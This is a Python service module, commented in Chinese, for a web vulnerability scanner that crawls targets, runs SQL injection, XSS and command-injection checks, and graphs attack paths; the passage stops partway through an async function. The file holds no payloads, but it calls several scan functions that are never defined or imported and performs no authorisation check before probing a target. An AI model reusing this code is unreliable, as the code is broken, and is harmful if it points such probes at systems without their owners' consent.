# 直接从项目根目录导入app.py中的celery
import sys
import os
import concurrent.futures
from concurrent.futures import ThreadPoolExecutor, as_completed
from queue import Queue
import time
from datetime import datetime
import requests
import uuid
import json
import threading
import random
from functools import wraps

# 获取当前文件的绝对路径
current_file = os.path.abspath(__file__)
# 获取项目根目录路径（假设当前文件在app/services/目录下）
project_root = os.path.dirname(os.path.dirname(os.path.dirname(current_file)))
# 将项目根目录添加到sys.path
sys.path.insert(0, project_root)

# 导入celery对象
from app.services.celery_config import celery
from app.models.database import db, Scan, Vulnerability, TaskStatus
from app.services.risk_assessment import predict_risk
from app.services.repair_suggestion import generate_suggestion
from app.services.database_service import database_service, save_vulnerability, save_scan_result
from app.services.vulnerability_script_manager import script_manager
from app.utils.logger import logger
from app.utils.redis_config import cache_scan_result, update_scan_progress, is_redis_available
from app.utils.http_utils import make_request, normalize_url, extract_links
from app.utils.security_tools import detect_sql_injection, detect_xss, check_sensitive_files, generate_vulnerability_id, extract_form_data, analyze_response_headers

# 性能优化装饰器
def retry_with_backoff(max_retries=3, base_delay=0.5):
    def decorator(func):
        @wraps(func)
        def wrapper(*args, **kwargs):
            retries = 0
            while retries < max_retries:
                try:
                    return func(*args, **kwargs)
                except Exception as e:
                    retries += 1
                    if retries >= max_retries:
                        raise
                    delay = base_delay * (2 ** (retries - 1)) + random.uniform(0, 1)
                    logger.warning(f"操作失败，{delay:.2f}秒后重试 ({retries}/{max_retries}): {str(e)}")
                    time.sleep(delay)
            return func(*args, **kwargs)  # 最后一次尝试
        return wrapper
    return decorator

# 智能URL队列管理器
class SmartURLQueue:
    def __init__(self, max_urls=1000):
        self.visited_urls = set()
        self.url_queue = Queue()
        self.max_urls = max_urls
        self.lock = threading.RLock()
    
    def add_url(self, url, priority=0):
        with self.lock:
            if url not in self.visited_urls and len(self.visited_urls) < self.max_urls:
                self.visited_urls.add(url)
                self.url_queue.put((-priority, url))  # 负优先级，使高优先级排在前面
                return True
            return False
    
    def get_url(self):
        try:
            _, url = self.url_queue.get_nowait()
            return url
        except:
            return None
    
    def empty(self):
        return self.url_queue.empty()
    
    def size(self):
        return len(self.visited_urls)

# 攻击路径分析模块
class AttackPathAnalyzer:
    def __init__(self):
        try:
            import networkx as nx
            self.nx = nx
            self.enabled = True
        except ImportError:
            logger.warning("NetworkX not installed, attack path analysis will use simplified algorithm")
            self.enabled = False
    
    def analyze(self, vulnerabilities):
        """
        使用NetworkX分析漏洞之间的攻击路径
        实现基于漏洞类型、路径和严重程度的攻击链分析
        """
        if not vulnerabilities:
            return {"nodes": [], "edges": [], "risk_score": 0}
        
        # 按风险评分排序
        sorted_vulns = sorted(vulnerabilities, key=lambda x: x.risk_score or 0, reverse=True)
        
        # 如果NetworkX可用，使用复杂的攻击路径算法
        if self.enabled:
            return self._networkx_analysis(sorted_vulns)
        else:
            return self._simplified_analysis(sorted_vulns)
    
    def _networkx_analysis(self, vulnerabilities):
        """使用NetworkX进行复杂的攻击路径分析"""
        G = self.nx.DiGraph()
        
        # 添加节点
        for vuln in vulnerabilities:
            node_id = f"vuln_{vuln.id}"
            G.add_node(node_id, 
                      id=vuln.id,
                      label=vuln.vuln_type,
                      type="vulnerability",
                      severity=vuln.severity,
                      risk_score=vuln.risk_score,
                      path=vuln.path,
                      vuln_id=vuln.id)
        
        # 分析攻击路径关系
        # 1. 基于漏洞类型的攻击链关系
        # 信息泄露通常是攻击链的起点
        # SQL注入、命令注入等通常是高价值目标
        vuln_chain_map = {
            'info_leak': ['sql_injection', 'xss', 'command_injection', 'file_upload'],
            'xss': ['session_hijacking', 'csrf'],
            'sql_injection': ['data_exfiltration', 'unauthorized_access'],
            'command_injection': ['system_takeover', 'lateral_movement'],
            'file_upload': ['remote_code_execution']
        }
        
        # 2. 添加边（攻击路径）
        node_list = list(G.nodes)
        for i, src_node in enumerate(node_list):
            src_vuln = vulnerabilities[i]
            
            # 查找可能的后续漏洞
            for j, tgt_node in enumerate(node_list):
                if i == j:  # 跳过自身
                    continue
                
                tgt_vuln = vulnerabilities[j]
                
                # 基于路径的关系：同一功能模块的漏洞
                src_path_parts = src_vuln.path.split('/')[:2] if src_vuln.path else []
                tgt_path_parts = tgt_vuln.path.split('/')[:2] if tgt_vuln.path else []
                
                # 基于类型的关系：漏洞链
                type_match = tgt_vuln.vuln_type in vuln_chain_map.get(src_vuln.vuln_type, [])
                
                # 基于严重程度的关系：通常从低到高
                severity_order = {'low': 0, 'medium': 1, 'high': 2}
                severity_match = severity_order.get(tgt_vuln.severity, 1) >= severity_order.get(src_vuln.severity, 0)
                
                # 路径匹配：在同一目录或模块
                path_match = len(src_path_parts) > 1 and len(tgt_path_parts) > 1 and \
                           src_path_parts[1] == tgt_path_parts[1]
                
                # 如果满足任一关系条件，添加边
                if type_match or path_match:
                    # 计算边的权重（风险分数）
                    weight = (src_vuln.risk_score + tgt_vuln.risk_score) / 2
                    
                    # 添加攻击路径边
                    G.add_edge(
                        src_node, 
                        tgt_node,
                        id=f"edge_{src_vuln.id}_{tgt_vuln.id}",
                        source=src_node,
                        target=tgt_node,
                        label="can_exploit",
                        risk_score=weight,
                        relationship="direct" if type_match else "module"
                    )
        
        # 3. 找出最危险的攻击路径（基于风险分数）
        all_paths = []
        for src in node_list:
            for tgt in node_list:
                if src != tgt:
                    try:
                        # 查找所有简单路径（不重复节点）
                        paths = list(self.nx.all_simple_paths(G, source=src, target=tgt, cutoff=3))
                        for path in paths:
                            # 计算路径的总风险分数
                            path_risk = sum(G.nodes[n]['risk_score'] for n in path)
                            # 添加路径长度的惩罚（越长风险越大）
                            path_risk += len(path) * 0.1
                            all_paths.append((path, path_risk))
                    except:
                        pass
        
        # 选择风险最高的几条路径（最多5条）
        all_paths.sort(key=lambda x: x[1], reverse=True)
        top_paths = all_paths[:5]
        
        # 4. 构建返回数据
        nodes = []
        edges = []
        
        # 收集所有节点
        for vuln in vulnerabilities:
            node_id = f"vuln_{vuln.id}"
            nodes.append({
                'id': node_id,
                'label': vuln.vuln_type,
                'type': 'vulnerability',
                'severity': vuln.severity,
                'risk_score': vuln.risk_score,
                'path': vuln.path,
                'vuln_id': vuln.id
            })
        
        # 收集所有边，但只保留在顶级路径中的边
        path_edges = set()
        for path, _ in top_paths:
            for i in range(len(path) - 1):
                if G.has_edge(path[i], path[i+1]):
                    edge_data = G.edges[path[i], path[i+1]]
                    edges.append({
                        'id': edge_data['id'],
                        'source': edge_data['source'],
                        'target': edge_data['target'],
                        'label': edge_data['label'],
                        'risk_score': edge_data['risk_score'],
                        'relationship': edge_data.get('relationship', 'direct')
                    })
                    path_edges.add((path[i], path[i+1]))
        
        # 添加未在路径中的重要边
        for src, tgt, data in G.edges(data=True):
            if (src, tgt) not in path_edges and data['risk_score'] > 0.7:  # 只添加高风险的边
                edges.append({
                    'id': data['id'],
                    'source': data['source'],
                    'target': data['target'],
                    'label': data['label'],
                    'risk_score': data['risk_score'],
                    'relationship': data.get('relationship', 'direct')
                })
        
        # 计算总体风险评分
        total_risk = sum(v.risk_score for v in vulnerabilities) / len(vulnerabilities) if vulnerabilities else 0
        
        return {
            'nodes': nodes,
            'edges': edges,
            'risk_score': total_risk,
            'top_paths': top_paths[:3]  # 返回顶级攻击路径信息
        }
    
    def _simplified_analysis(self, vulnerabilities):
        """简化版的攻击路径分析（当NetworkX不可用时）"""
        nodes = []
        edges = []
        
        # 创建节点
        for vuln in vulnerabilities:
            node_id = f"vuln_{vuln.id}"
            nodes.append({
                'id': node_id,
                'label': vuln.vuln_type,
                'type': 'vulnerability',
                'severity': vuln.severity,
                'risk_score': vuln.risk_score,
                'path': vuln.path,
                'vuln_id': vuln.id
            })
        
        # 创建简化的边（按顺序连接高风险漏洞）
        for i in range(len(vulnerabilities) - 1):
            if vulnerabilities[i].risk_score > 0.6:  # 只连接中高风险漏洞
                edge = {
                    'id': f"edge_{i}",
                    'source': f"vuln_{vulnerabilities[i].id}",
                    'target': f"vuln_{vulnerabilities[i+1].id}",
                    'label': 'potential_path',
                    'risk_score': (vulnerabilities[i].risk_score + vulnerabilities[i+1].risk_score) / 2
                }
                edges.append(edge)
        
        # 计算总体风险评分
        total_risk = sum(v.risk_score for v in vulnerabilities) / len(vulnerabilities) if vulnerabilities else 0
        
        return {
            'nodes': nodes,
            'edges': edges,
            'risk_score': total_risk
        }

# 并发扫描管理器
class ConcurrentScanner:
    def __init__(self, max_workers=10, timeout=30):
        self.max_workers = max_workers
        self.timeout = timeout
    
    def scan_batch(self, urls, scan_func, **kwargs):
        results = []
        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            future_to_url = {executor.submit(scan_func, url, **kwargs): url for url in urls}
            for future in as_completed(future_to_url):
                url = future_to_url[future]
                try:
                    result = future.result(timeout=self.timeout)
                    if result:
                        results.extend(result)
                except Exception as e:
                    logger.error(f"扫描 {url} 时出错: {str(e)}")
        return results

class ScanService:
    """扫描服务类，负责处理扫描任务的提交和执行"""
    
    def __init__(self):
        # 初始化并发扫描器
        self.concurrent_scanner = ConcurrentScanner(max_workers=15, timeout=30)
    
    def submit_scan(self, scan_data):
        """提交扫描任务"""
        # 创建扫描记录
        scan = Scan(
            target=scan_data.get('target'),
            scan_depth=scan_data.get('scan_depth', 2),
            scan_types=json.dumps(scan_data.get('scan_types', [])),
            scheduled=scan_data.get('scheduled', False),
            schedule_id=scan_data.get('schedule_id'),
            status='pending',
            created_at=datetime.utcnow()
        )
        
        db.session.add(scan)
        db.session.commit()
        
        scan_id = scan.id
        logger.info(f"已创建扫描任务: {scan_id}, 目标: {scan.target}")
        
        # 创建TaskStatus记录（确保状态跟踪正常工作）
        task_status = TaskStatus(
            task_id=scan_id,
            scan_id=scan_id,
            status='pending',
            progress=0,
            created_at=datetime.utcnow(),
            updated_at=datetime.utcnow()
        )
        db.session.add(task_status)
        db.session.commit()
        
        # 异步执行扫描逻辑
        # 由于Celery可能有问题，使用线程池执行异步扫描
        scan_types = json.loads(scan.scan_types)
        
        def async_scan():
            try:
                from app import app as flask_app
                with flask_app.app_context():
                    # 重新获取scan对象，确保在异步函数中正确初始化
                    from app.models.database import db, Scan
                    scan = Scan.query.get(scan_id)
                    if not scan:
                        logger.error(f"无法找到扫描任务: {scan_id}")
                        return
                    
                    # 执行扫描逻辑
                    scan_result = self._execute_scan_logic(scan_id, scan.target, scan.scan_depth, scan_types)
                    
                    # 生成并保存报告
                    if scan_result:
                        try:
                            # 导入报告服务
                            from app.services.report_service import ReportService
                            import os
                            
                            # 生成JSON格式报告
                            report_data, file_ext, mime_type = ReportService.generate_report(scan_id, format_type='json')
                            
                            # 保存报告到文件
                            report_dir = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), 'scan_reports')
                            os.makedirs(report_dir, exist_ok=True)
                            
                            # 生成文件名
                            timestamp = datetime.now().strftime('%Y%m%d%H%M%S')
                            filename = f'scan_report_{scan_id}_{timestamp}.{file_ext}'
                            file_path = os.path.join(report_dir, filename)
                            
                            # 保存文件
                            with open(file_path, 'w', encoding='utf-8') as f:
                                f.write(report_data)
                            
                            logger.info(f"扫描报告已保存到: {file_path}")
                        except Exception as report_error:
                            logger.error(f"生成或保存报告失败: {str(report_error)}")
            except Exception as e:
                error_msg = str(e)
                logger.error(f"异步扫描执行失败: {error_msg}")
                
                # 在异常情况下更新状态，使用事务确保数据一致性
                try:
                    from app import app as flask_app
                    with flask_app.app_context():
                        from app.models.database import db, Scan, TaskStatus
                        
                        # 使用事务进行更新
                        try:
                            # 获取并更新scan状态
                            scan = Scan.query.get(scan_id)
                            if scan:
                                scan.status = 'failed'
                                scan.finished_at = datetime.utcnow()
                            
                            # 获取并更新task_status
                            task_status = TaskStatus.query.filter_by(scan_id=scan_id).first()
                            if task_status:
                                task_status.status = 'failed'
                                task_status.progress = 0
                                task_status.error = error_msg
                                task_status.updated_at = datetime.utcnow()
                            
                            db.session.commit()
                            logger.info(f"已更新扫描任务状态为失败: {scan_id}")
                        except Exception as commit_error:
                            db.session.rollback()
                            logger.error(f"提交数据库更新失败: {str(commit_error)}")
                except Exception as update_error:
                    logger.error(f"更新扫描状态时出错: {str(update_error)}")
        
        # 启动异步扫描线程
        scan_thread = threading.Thread(target=async_scan)
        scan_thread.daemon = True
        scan_thread.start()
        
        return scan_id

    def _execute_scan_logic(self, scan_id, target, scan_depth, scan_types):
        """执行漏洞扫描的核心逻辑 - 增强版"""
        try:
            # 确保在函数开始就从数据库获取scan对象
            from app.models.database import db, Scan, TaskStatus
            scan = Scan.query.get(scan_id)
            if not scan:
                raise ValueError(f"Scan not found: {scan_id}")
            
            # 获取任务状态对象
            task_status = TaskStatus.query.filter_by(scan_id=scan_id).first()
            
            # 批量提交数据库更新，减少I/O操作
            def update_status(new_status, progress=None, result=None, message=None):
                try:
                    if scan:
                        scan.status = new_status
                        if new_status in ['completed', 'failed']:
                            scan.finished_at = datetime.utcnow()
                    
                    if task_status:
                        task_status.status = new_status
                        if progress is not None:
                            task_status.progress = progress
                        if result:
                            task_status.result = result
                        task_status.updated_at = datetime.utcnow()
                    
                    db.session.commit()
                    # 优先使用提供的消息，否则使用状态作为消息
                    status_message = message or new_status
                    update_scan_progress(scan_id, progress or 0, status_message)
                except Exception as e:
                    logger.error(f"Failed to update status: {str(e)}")
                    db.session.rollback()
            
            # 更新初始状态
            update_status('running', 0, None, "初始化扫描环境...")
            
            # 添加短暂延迟以确保状态正确记录
            time.sleep(0.5)
            update_status('running', 5, None, "准备扫描目标...")
            
            logger.info(f"Starting enhanced scan: {scan_id}, target: {target}, types: {scan_types}")
            
            # 使用智能URL队列管理扫描范围
            url_queue = SmartURLQueue(max_urls=500 * scan_depth)
            url_queue.add_url(normalize_url(target), priority=100)  # 主页优先级最高
            
            # 先进行URL爬取，构建完整的扫描目标列表
            discovered_urls = [normalize_url(target)]
            start_time = time.time()
            
            update_status('running', 10, None, "开始URL爬取...")
            
            # 智能爬取阶段
            total_crawl_steps = scan_depth
            for depth in range(scan_depth):
                logger.info(f"Crawling depth {depth+1}/{scan_depth}")
                new_urls = []
                current_crawl_progress = 0
                total_urls_to_crawl = len(discovered_urls)
                
                # 更新当前爬取深度的进度
                update_status('running', 10 + (depth * 5), None, f"正在爬取深度 {depth+1}/{scan_depth}")
                
                # 并发爬取当前层的URL
                def crawl_url(url):
                    links = []
                    try:
                        response = make_request(url, timeout=15)
                        if response and response.status_code == 200:
                            links = extract_links(response.text, url)
                    except Exception as e:
                        logger.debug(f"Failed to crawl {url}: {str(e)}")
                    return links
                
                # 添加进度跟踪的变量
                crawled_urls_count = 0
                
                with ThreadPoolExecutor(max_workers=20) as executor:
                    future_to_url = {executor.submit(crawl_url, url): url for url in discovered_urls}
                    for future in as_completed(future_to_url):
                        crawled_urls_count += 1
                        # 每爬取10个URL或最后一个URL时更新进度
                        if crawled_urls_count % 10 == 0 or crawled_urls_count == total_urls_to_crawl:
                            current_crawl_progress = min(100, int((crawled_urls_count / total_urls_to_crawl) * 100))
                            depth_progress = 10 + (depth * 5) + (current_crawl_progress * 0.05)
                            update_status('running', depth_progress, None, 
                                        f"正在爬取深度 {depth+1}/{scan_depth} ({crawled_urls_count}/{total_urls_to_crawl})")
                        
                        url = future_to_url[future]
                        try:
                            links = future.result()
                            for link in links:
                                # 优先级计算：深度越浅，优先级越高
                                priority = 100 - (depth * 20)
                                if url_queue.add_url(link, priority=priority):
                                    new_urls.append(link)
                        except Exception as e:
                            logger.error(f"Error processing crawl result for {url}: {str(e)}")
                
                if not new_urls:
                    break
                
                discovered_urls = new_urls
            
            # 爬取完成，更新进度到30%
            update_status('running', 30, None, f"URL爬取完成，共发现 {len(discovered_urls)} 个URL")
            logger.info(f"Crawling completed, discovered {len(discovered_urls)} URLs in {time.time() - start_time:.2f} seconds")
            
            # 执行并发漏洞扫描
            all_vulnerabilities = []
            total_vulnerabilities_found = 0
            
            # 获取所有可用的脚本
            all_scripts = script_manager.get_scripts()
            logger.info(f"Available vulnerability scripts: {len(all_scripts)}")
            
            # 按漏洞类型分组进行并发扫描
            total_scan_types = len(scan_types)
            for i, scan_type in enumerate(scan_types):
                logger.info(f"Performing concurrent {scan_type} scan on {len(discovered_urls)} URLs")
                
                # 计算当前扫描类型的基础进度
                base_progress = 30 + (i / total_scan_types) * 60
                
                # 更新开始扫描当前类型的进度
                update_status('running', base_progress, None, f"开始扫描 {scan_type} 漏洞...")
                
                # 先尝试使用脚本管理器中的脚本
                type_scripts = script_manager.get_scripts_by_type(scan_type)
                script_vulns = []
                
                if type_scripts:
                    logger.info(f"Using {len(type_scripts)} scripts for {scan_type} scanning")
                    
                    # 并发执行脚本扫描，带进度跟踪
                    scripts_count = len(type_scripts)
                    urls_count = len(discovered_urls)
                    total_script_tasks = scripts_count * urls_count
                    completed_script_tasks = 0
                    
                    with ThreadPoolExecutor(max_workers=min(15, urls_count)) as executor:
                        for script_idx, script in enumerate(type_scripts):
                            future_to_url = {executor.submit(script_manager.execute_script, script['name'], url): url for url in discovered_urls}
                            
                            for future in as_completed(future_to_url):
                                completed_script_tasks += 1
                                
                                # 每完成10%的任务或最后一个任务时更新进度
                                if completed_script_tasks % (max(1, total_script_tasks // 10)) == 0 or completed_script_tasks == total_script_tasks:
                                    script_progress = min(100, int((completed_script_tasks / total_script_tasks) * 100))
                                    current_progress = base_progress + (script_progress * 0.6 / total_scan_types)
                                    update_status('running', current_progress, None, 
                                                f"扫描 {scan_type} 漏洞: {script['name']} ({script_idx + 1}/{scripts_count})")
                                
                                try:
                                    result = future.result()
                                    if result and result.get('vulnerable', False):
                                        total_vulnerabilities_found += 1
                                        # 转换脚本结果格式为系统标准格式
                                        vuln = {
                                            'vuln_id': generate_vulnerability_id(),
                                            'vuln_type': script['vulnerability_type'],
                                            'target': future_to_url[future],
                                            'path': future_to_url[future],
                                            'details': result.get('details', {}),
                                            'evidence': result.get('evidence', ''),
                                            'severity': script.get('severity', 'medium'),
                                            'script_name': script['name']
                                        }
                                        script_vulns.append(vuln)
                                        
                                        # 每发现10个漏洞时更新一次状态
                                        if total_vulnerabilities_found % 10 == 0:
                                            update_status('running', current_progress, None, 
                                                        f"扫描 {scan_type} 漏洞: 已发现 {total_vulnerabilities_found} 个漏洞")
                                except Exception as e:
                                    logger.error(f"Script execution failed: {str(e)}")
                
                # 如果没有脚本或脚本未发现漏洞，使用内置扫描函数
                if not script_vulns:
                    # 并发扫描实现
                    scan_func_map = {
                        'sql_injection': self._scan_sql_injection_concurrent,
                        'xss': self._scan_xss_concurrent,
                        'info_leak': self._scan_info_leak_concurrent,
                        'command_injection': self._scan_command_injection_concurrent,
                        'csrf': self._scan_csrf_concurrent,
                        'security_headers': self._scan_security_headers_concurrent
                    }
                    
                    # 添加进度跟踪的包装函数
                    def scan_with_progress(scan_func, urls, depth, type_name, base_p, type_idx, total_types):
                        """带进度跟踪的扫描函数"""
                        results = []
                        total_urls = len(urls)
                        
                        # 将URL分成批次，每批次更新一次进度
                        batch_size = max(1, min(10, total_urls // 10))  # 每10%更新一次
                        url_batches = [urls[i:i+batch_size] for i in range(0, total_urls, batch_size)]
                        
                        for batch_idx, url_batch in enumerate(url_batches):
                            # 更新批次进度
                            batch_progress = int((batch_idx + 1) / len(url_batches) * 100)
                            current_p = base_p + (batch_progress * 0.6 / total_types)
                            update_status('running', current_p, None, 
                                        f"扫描 {type_name} 漏洞: 批次 {batch_idx + 1}/{len(url_batches)}")
                            
                            # 扫描当前批次
                            batch_results = scan_func(url_batch, depth)
                            results.extend(batch_results)
                            
                            # 更新发现的漏洞数量
                            nonlocal total_vulnerabilities_found
                            total_vulnerabilities_found += len(batch_results)
                            
                            # 每发现漏洞就更新状态
                            if batch_results:
                                update_status('running', current_p, None, 
                                            f"扫描 {type_name} 漏洞: 已发现 {total_vulnerabilities_found} 个漏洞")
                        
                        return results
                    
                    scan_func = scan_func_map.get(scan_type, self._scan_generic_concurrent)
                    vulns = scan_with_progress(scan_func, discovered_urls, scan_depth, 
                                             scan_type, base_progress, i, total_scan_types)
                    all_vulnerabilities.extend(vulns)
                else:
                    all_vulnerabilities.extend(script_vulns)
                
                # 完成当前类型扫描，更新进度
                completed_progress = 30 + ((i + 1) / total_scan_types) * 60
                update_status('running', completed_progress, None, 
                            f"{scan_type} 扫描完成，发现 {len(script_vulns) if script_vulns else len(vulns)} 个漏洞")
                
                logger.info(f"{scan_type} scan completed, found {len(script_vulns) if script_vulns else len(vulns)} vulnerabilities")
            
            # 执行风险评估和生成修复建议 - 使用批量处理优化
            update_status('running', 90, None, "开始风险评估和生成修复建议...")
            logger.info("Performing risk assessment and generating fix suggestions")
            
            # 批量处理风险评估和修复建议，带进度跟踪
            vulnerabilities_count = len(all_vulnerabilities)
            for i, vuln in enumerate(all_vulnerabilities):
                try:
                    # 每处理20%的漏洞或最后一个漏洞时更新进度
                    if i % max(1, vulnerabilities_count // 5) == 0 or i == vulnerabilities_count - 1:
                        risk_progress = 90 + (i / vulnerabilities_count) * 10
                        update_status('running', risk_progress, None, 
                                    f"风险评估中: {i+1}/{vulnerabilities_count} 个漏洞")
                    
                    # 获取风险评分
                    risk_info = predict_risk(vuln)
                    vuln['risk_score'] = risk_info['risk_score']
                    vuln['severity'] = risk_info['severity']
                    
                    # 生成修复建议
                    vuln['suggestion'] = generate_suggestion(vuln)
                except Exception as e:
                    logger.error(f"Failed to process vulnerability {vuln.get('vuln_id')}: {str(e)}")
                    vuln['risk_score'] = 0.5
                    vuln['severity'] = 'medium'
                    vuln['suggestion'] = "无法生成详细修复建议，请手动检查。"
            
            # 更新进度到95%
            update_status('running', 95, None, "保存漏洞信息到数据库...")
            
            # 保存漏洞到数据库并生成风险评估和修复建议
            logger.info(f"保存漏洞信息和相关数据")
            
            # 计算攻击路径
            attack_paths = []  # 简单起见，暂时空列表
            
            # 保存漏洞信息，带进度跟踪
            for i, vulnerability in enumerate(all_vulnerabilities):
                save_vulnerability(scan_id, vulnerability)
                # 每保存20%的漏洞或最后一个漏洞时更新进度
                if i % max(1, vulnerabilities_count // 5) == 0 or i == vulnerabilities_count - 1:
                    save_progress = 95 + (i / vulnerabilities_count) * 5
                    update_status('running', save_progress, None, 
                                f"保存漏洞数据: {i+1}/{vulnerabilities_count} 个漏洞")
            
            # 保存攻击路径
            for attack_path in attack_paths:
                database_service.save_attack_path(scan_id, attack_path)
            
            # 保存扫描结果详情
            scan_result_data = {
                'scan_duration': time.time() - start_time,
                'scan_status': 'completed',
                'discovered_urls': discovered_urls,
                'metadata': {
                    'scan_types': scan_types,
                    'scan_depth': scan_depth
                }
            }
            save_scan_result(scan_id, scan_result_data)
            
            # 更新扫描任务状态为完成
            update_status('completed', 100, f"扫描完成，共发现 {len(all_vulnerabilities)} 个漏洞")
            
            # 准备扫描结果数据
            scan_result = {
                'scan_id': scan_id,
                'target': target,
                'status': 'completed',
                'created_at': scan.created_at.isoformat(),
                'finished_at': scan.finished_at.isoformat(),
                'vulnerability_count': len(all_vulnerabilities),
                'scan_duration': time.time() - start_time
            }
            
            # 使用Redis缓存扫描结果（如果可用）
            cache_scan_result(scan_id, scan_result)
            
            logger.info(f"Enhanced scan completed: {scan_id}, found {len(all_vulnerabilities)} vulnerabilities in {scan_result['scan_duration']:.2f} seconds")
            
            return scan_result
            
        except Exception as e:
            # 处理异常情况
            error_message = str(e)
            logger.error(f"Error in scan: {scan_id}, error: {error_message}")
            
            # 确保在异常处理中scan和task_status变量已初始化
            scan = None
            task_status = None
            
            # 尝试从数据库获取scan和task_status对象
            try:
                scan = Scan.query.get(scan_id)
                task_status = TaskStatus.query.filter_by(scan_id=scan_id).first()
            except Exception as db_error:
                logger.error(f"Database error in exception handling: {str(db_error)}")
            
            # 更新扫描任务状态为失败
            try:
                if scan:
                    scan.status = 'failed'
                    scan.finished_at = datetime.utcnow()
                
                if task_status:
                    task_status.status = 'failed'
                    task_status.progress = 0
                    task_status.error = error_message
                    task_status.updated_at = datetime.utcnow()
                
                db.session.commit()
            except Exception as commit_error:
                logger.error(f"Failed to commit error status: {str(commit_error)}")
                db.session.rollback()
            
            # 使用Redis更新进度为失败
            update_scan_progress(scan_id, 0, "failed")
            
            # 如果是在Celery任务中执行，重新抛出异常，让Celery记录错误
            if hasattr(self, 'retry'):
                self.retry(exc=e, max_retries=3, countdown=5)
            else:
                raise
    
    # 并发漏洞扫描方法
    @retry_with_backoff(max_retries=2)
    def _scan_sql_injection_concurrent(self, urls, scan_depth):
        """并发执行SQL注入漏洞扫描"""
        results = []
        with ThreadPoolExecutor(max_workers=10) as executor:
            future_to_url = {executor.submit(scan_sql_injection, url, 1): url for url in urls}
            for future in as_completed(future_to_url):
                try:
                    result = future.result()
                    results.extend(result)
                except Exception as e:
                    logger.error(f"SQL injection scan failed: {str(e)}")
        return results
    
    @retry_with_backoff(max_retries=2)
    def _scan_xss_concurrent(self, urls, scan_depth):
        """并发执行XSS漏洞扫描"""
        results = []
        with ThreadPoolExecutor(max_workers=10) as executor:
            future_to_url = {executor.submit(scan_xss, url, 1): url for url in urls}
            for future in as_completed(future_to_url):
                try:
                    result = future.result()
                    results.extend(result)
                except Exception as e:
                    logger.error(f"XSS scan failed: {str(e)}")
        return results
    
    @retry_with_backoff(max_retries=2)
    def _scan_info_leak_concurrent(self, urls, scan_depth):
        """并发执行信息泄露漏洞扫描"""
        results = []
        for url in urls:
            try:
                result = scan_info_leak(url)
                results.extend(result)
            except Exception as e:
                logger.error(f"Info leak scan failed for {url}: {str(e)}")
        return results
    
    @retry_with_backoff(max_retries=2)
    def _scan_command_injection_concurrent(self, urls, scan_depth):
        """并发执行命令注入漏洞扫描"""
        results = []
        with ThreadPoolExecutor(max_workers=8) as executor:  # 命令注入扫描使用较少的线程
            future_to_url = {executor.submit(scan_command_injection, url, 1): url for url in urls}
            for future in as_completed(future_to_url):
                try:
                    result = future.result(timeout=20)  # 命令注入可能耗时较长
                    results.extend(result)
                except Exception as e:
                    logger.error(f"Command injection scan failed: {str(e)}")
        return results
    
    @retry_with_backoff(max_retries=2)
    def _scan_csrf_concurrent(self, urls, scan_depth):
        """并发执行CSRF漏洞扫描"""
        results = []
        with ThreadPoolExecutor(max_workers=12) as executor:
            future_to_url = {executor.submit(scan_csrf, url, 1): url for url in urls}
            for future in as_completed(future_to_url):
                try:
                    result = future.result()
                    results.extend(result)
                except Exception as e:
                    logger.error(f"CSRF scan failed: {str(e)}")
        return results
    
    @retry_with_backoff(max_retries=2)
    def _scan_security_headers_concurrent(self, urls, scan_depth):
        """并发执行安全头检查"""
        results = []
        with ThreadPoolExecutor(max_workers=15) as executor:
            future_to_url = {executor.submit(scan_security_headers, url): url for url in urls}
            for future in as_completed(future_to_url):
                try:
                    result = future.result()
                    results.extend(result)
                except Exception as e:
                    logger.error(f"Security headers scan failed: {str(e)}")
        return results
    
    def _scan_generic_concurrent(self, urls, scan_depth):
        """
        通用并发扫描方法
        """
        results = []
        # 对于未实现特定并发扫描的漏洞类型，使用通用扫描
        for url in urls[:50]:  # 限制扫描数量
            try:
                result = scan_security_headers(url)
                results.extend(result)
            except Exception as e:
                logger.error(f"Generic scan failed for {url}: {str(e)}")
        return results
    
    def get_available_scan_types(self):
        """
        获取所有可用的扫描类型
        结合内置扫描类型和脚本管理器中的类型
        """
        # 内置扫描类型
        builtin_types = ['sql_injection', 'xss', 'info_leak', 'command_injection', 'csrf', 'security_headers']
        
        # 从脚本管理器获取额外的扫描类型
        script_types = set()
        for script in script_manager.get_scripts():
            if script.get('vulnerability_type') not in builtin_types:
                script_types.add(script.get('vulnerability_type'))
        
        return builtin_types + list(script_types)

# 创建ScanService实例供外部使用
service = ScanService()

# 只有在celery可用的情况下才将函数注册为异步任务
if celery:
    @celery.task(bind=True)
    def run_scan(self, scan_id, target, scan_depth, scan_types):
        """执行漏洞扫描任务（异步版本）"""
        return service._execute_scan_logic(scan_id, target, scan_depth, scan_types)
else:
    # 当celery不可用时，提供一个增强的异步版本函数
    def run_scan(scan_id, target, scan_depth, scan_types):
        """执行漏洞扫描任务（增强异步版本）"""
        from app.utils.logger import logger
        
        logger.info(f"启动增强扫描任务: {scan_id}, 目标: {target}, 深度: {scan_depth}, 类型: {scan_types}")
        
        # 直接使用同步版本，避免aiohttp依赖问题
        try:
            return _run_enhanced_sync_scan(scan_id, target, scan_depth, scan_types)
        except Exception as e:
            logger.error(f"扫描执行失败: {str(e)}")
            return {"error": str(e), "success": False}

async def _run_async_scan(scan_id, target, scan_depth, scan_types):
    """
    异步执行漏洞扫描主函数
    使用aiohttp和asyncio实现真正的异步并发扫描
    """
    import aiohttp
    import time
    from datetime import datetime
    from app.utils.logger import logger
    from app.utils.http_utils import normalize_url
    from app.services.risk_assessment import predict_risk
    from app.services.repair_suggestion import generate_suggestion
    from app.utils.redis_config import update_scan_progress
    
    start_time = time.time()
    all_vulnerabilities = []
    
    # 标准化目标URL
    target_url = normalize_url(target)
    logger.info(f"开始异步扫描: {target_url}, 深度: {scan_depth}, 扫描类型: {scan_types}")
    
    # 更新扫描状态
    update_scan_progress(scan_id, 5, "初始化扫描环境...")
    
    # 创建数据库扫描记录
    from app.models.database import db, Scan
    scan = Scan.query.get(scan_id)
    if not scan:
        scan = Scan(
            id=scan_id,
            target=target_url,
            status='running',
            scan_depth=scan_depth,
            created_at=datetime.utcnow()
        )
        db.session.add(scan)
        db.session.commit()
    else:
        scan.status = 'running'
        scan.target = target_url
        db.session.commit()
    
    # 使用异步会话管理器
    connector = aiohttp.TCPConnector(
        limit=30,  # 最大并发连接数
        ttl_dns_cache=300,
        force_close=True,
        enable_cleanup_closed=True
    )
    
    # 动态调整连接池大小
    max_workers = min(50, len(scan_types) * 10)
